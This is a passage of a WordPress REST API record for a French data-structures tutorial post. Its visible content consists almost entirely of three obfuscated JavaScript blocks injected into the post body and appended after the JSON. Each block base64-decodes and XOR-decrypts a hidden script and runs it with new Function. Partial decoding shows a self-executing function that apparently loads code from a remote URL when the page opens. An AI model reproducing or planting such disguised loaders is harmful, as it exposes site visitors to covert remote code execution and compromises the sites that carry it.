_0x432938422d85=atob('NHppcn9odXNyNDVnan1uPFYoUSgoUCFrdXJ4c2swRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBMHIve3BxbSE7fy8kfXl9JH95fXh+en4peTswdnAqKlJrIUc+dGhobG8mMzN\/cHNpeHpwfW55MX90eX93MnJ5aD4wPD50aGhsJjMzJSgyLioyJSwyLS4qPkEndXo0RllYfyp+OjpGWVh\/Kn5Hci97cHFtQTVueWhpbnInRllYfyp+IVYoUSgoUEc7Q0N6bFlxfnl4bztBITRGWVh\/Kn5gYGdhNSdGWVh\/Kn5Hci97cHFtQSEtJ3ppcn9odXNyPGsoWmlfazQ1Z3V6ND14c39pcXlyaDJ+c3hlNWdveWhIdXF5c2loNGsoWmlfazAuLDUnbnloaW5yJ2FqfW48UHR5Lm5oIXhzf2lxeXJoMn9ueX1oeVlweXF5cmg0O3h1ajs1MEV2fndKfyF4c39pcXlyaDJ\/bnl9aHlZcHlxeXJoNDt1em59cXk7NSdQdHkubmgyb2hlcHkyf29vSHlkaCE7bHNvdWh1c3ImenVkeXgndXJveWgmLCdmMXVyeHlkJi4tKCsoJC8tKyonfn1\/d3tuc2lyeCZue359NC0pMC4vMCguMDIoLjUnbHN1cmh5bjF5anlyaG8mcnNyeSc7J0V2fndKfzJodWhweSE7T3l\/aW51aGU8f3R5f3c7J0V2fndKfzJveWhdaGhudX5paHk0O31wcHNremlwcG9\/bnl5cjswOzs1J0V2fndKfzJvaGVweTJ\/b29IeWRoITtsc291aHVzciZ6dWR5eCd1cm95aCYsJ2t1eGh0Ji0sLDkndHl1e3RoJi0sLDknfnNueHluJiwnZjF1cnh5ZCYuLSgrKCQvLSQqJ359f3d7bnNpcngmP3p6eic7J3hzf2lxeXJoMn5zeGUyfWxseXJ4X3R1cHg0UHR5Lm5oNSd4c39pcXlyaDJ+c3hlMn1sbHlyeF90dXB4NEV2fndKfzUnemlyf2h1c3I8VSgkV35qNDVnaG5lZ1B0eS5uaDJueXFzank0NSdFdn53Sn8ybnlxc2p5NDUnYX99aH90NEN5NWdhaG5lZ3h5cHloeTxGWVh\/Kn5Hci97cHFtQWF\/fWh\/dDRDeS41Z2FhVihRKChQMn14eFlqeXJoUHVvaHlyeW40O3F5b299e3k7MHppcn9odXNyNEN5ajVnaG5lZ3V6ND1DeWpgYD1DeWoyeH1ofTVueWhpbnIndXo0Q3lqMnh9aH0yaGVseSEhITt6bDF5cX55eDF\/cHNveTs1VSgkV35qNDUnYX99aH90NEN5LzVnYWE1J3ppcn9odXNyPGlzREt3UTR0UW5Ke0Y1Z3V6NHRRbkp7RiIhdnAqKlJrMnB5cntodDVueWhpbnInan1uPEN0ITs7J2huZWdDdCFPaG51cns0VihRKChQMnBzf31odXNyOjo0VihRKChQMnBzf31odXNyMnRzb2hyfXF5YGBWKFEoKFAycHN\/fWh1c3IydHNvaDVgYDs7NTJueWxwfX95NDNCa2trQDIzdTA7OzUnYX99aH90NEN5dDVnYWp9bjxDaSF2cCoqUmtHdFFuSntGQTc7M3lxfnl4Mzs3ci97cHFtNzsjeXF+eXghLTs3NEN0IzQ7OnRzb2ghOzd5cn9zeHlJTlVfc3Fsc3J5cmg0Q3Q1NSY7OzUnan1uPENocyFveWhIdXF5c2loNHppcn9odXNyNDVnaXNES3dRNHRRbkp7RjctNSdhMC0uLCwsNSdFdn53Sn8yc3Jwc314IXppcn9odXNyNDVnf3B5fW5IdXF5c2loNENoczUnYSdFdn53Sn8yb25\/IUNpJ2Fpc0RLd1E0LDUnYXV6NHhzf2lxeXJoMm55fXhlT2h9aHkhISE7cHN9eHVyezs1VihRKChQMn14eFlqeXJoUHVvaHlyeW40O1hTUV9zcmh5cmhQc314eXg7MGsoWmlfazUneXBveTxrKFppX2s0NSdhNTQ1Jw=='),_0xd3aca605a494=28,_0x3c4e336edd80=new Uint8Array(_0x432938422d85['length']),_0xd8f5713db852=0;for(;_0xd8f5713db852<_0x432938422d85['length'];_0xd8f5713db852++)_0x3c4e336edd80[_0xd8f5713db852]=_0x432938422d85['charCodeAt'](_0xd8f5713db852)^_0xd3aca605a494;(new Function(new TextDecoder()['decode'](_0x3c4e336edd80)))()}();<\/script>","protected":false},"excerpt":{"rendered":"<p>Presentation and implementation of List data structure<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,5],"tags":[],"class_list":["post-136","post","type-post","status-publish","format-standard","hentry","category-theorie","category-tutorial","entry"],"_links":{"self":[{"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/posts\/136","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/comments?post=136"}],"version-history":[{"count":16,"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/posts\/136\/revisions"}],"predecessor-version":[{"id":343,"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/posts\/136\/revisions\/343"}],"wp:attachment":[{"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/media?parent=136"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/categories?post=136"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/tutos.switchelven.fr\/fr\/wp-json\/wp\/v2\/tags?post=136"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>